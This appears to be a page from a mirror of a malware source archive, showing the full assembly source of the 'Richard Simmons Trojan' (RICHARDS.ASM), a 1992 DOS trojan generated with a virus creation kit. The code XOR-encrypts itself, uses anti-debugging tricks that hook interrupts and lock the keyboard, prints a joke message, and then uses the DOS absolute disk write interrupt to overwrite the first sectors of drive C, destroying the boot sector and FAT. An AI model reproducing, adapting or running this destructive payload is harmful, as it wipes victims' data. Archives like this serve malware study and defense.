mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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83 lines
2.3 KiB
NASM
83 lines
2.3 KiB
NASM
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; RICHARDS.ASM -- R. Simmons Trojan
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; Created with Nowhere Man's Virus Creation Laboratory v1.00
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; Written by Nowhere Man
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virus_type equ 3 ; Trojan Horse
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is_encrypted equ 1 ; We're encrypted
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tsr_virus equ 0 ; We're not TSR
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code segment byte public
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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start label near
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main proc near
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call encrypt_decrypt ; Decrypt the virus
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start_of_code label near
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stop_tracing: mov cx,09EBh
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mov ax,0FE05h ; Acutal move, plus a HaLT
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jmp $-2
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add ah,03Bh ; AH now equals 025h
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jmp $-10 ; Execute the HaLT
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mov bx,offset null_vector ; BX points to new routine
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push cs ; Transfer CS into ES
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pop es ; using a PUSH/POP
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int 021h
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mov al,1 ; Disable interrupt 1, too
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int 021h
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jmp short skip_null ; Hop over the loop
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null_vector: jmp $ ; An infinite loop
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skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
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lock_keys: mov al,128 ; Change here screws DEBUG
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out 021h,al ; If tracing then lock keyboard
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mov si,offset data00 ; SI points to data
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mov ah,0Eh ; BIOS display char. function
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display_loop: lodsb ; Load the next char. into AL
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or al,al ; Is the character a null?
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je disp_strnend ; If it is, exit
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int 010h ; BIOS video interrupt
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jmp short display_loop ; Do the next character
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disp_strnend:
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mov ax,0002h ; First argument is 2
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mov cx,0010h ; Second argument is 16
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cli ; Disable interrupts (no Ctrl-C)
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cwd ; Clear DX (start with sector 0)
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int 026h ; DOS absolute write interrupt
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sti ; Restore interrupts
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mov ax,04C00h ; DOS terminate function
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int 021h
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main endp
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data00 db "C'mon now, trim that FAT! 1 and 2 and 3 and....",13,10,10,0
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vcl_marker db "[VCL]",0 ; VCL creation marker
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note db "The Richard Simmons Trojan; gu"
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db "aranteed to get rid of that un"
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db "sightly FAT in no time!",0
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db "[Richard Simmons Trojan]",0
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db "Nowhere Man, [NuKE] '92",0
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end_of_code label near
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encrypt_decrypt proc near
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mov si,offset start_of_code ; SI points to code to decrypt
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mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
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xor_loop: xor word ptr [si],06734h ; XOR a word by the key
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inc si ; Do the next word
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inc si ;
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loop xor_loop ; Loop until we're through
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ret ; Return to caller
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encrypt_decrypt endp
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finish label near
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code ends
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end main
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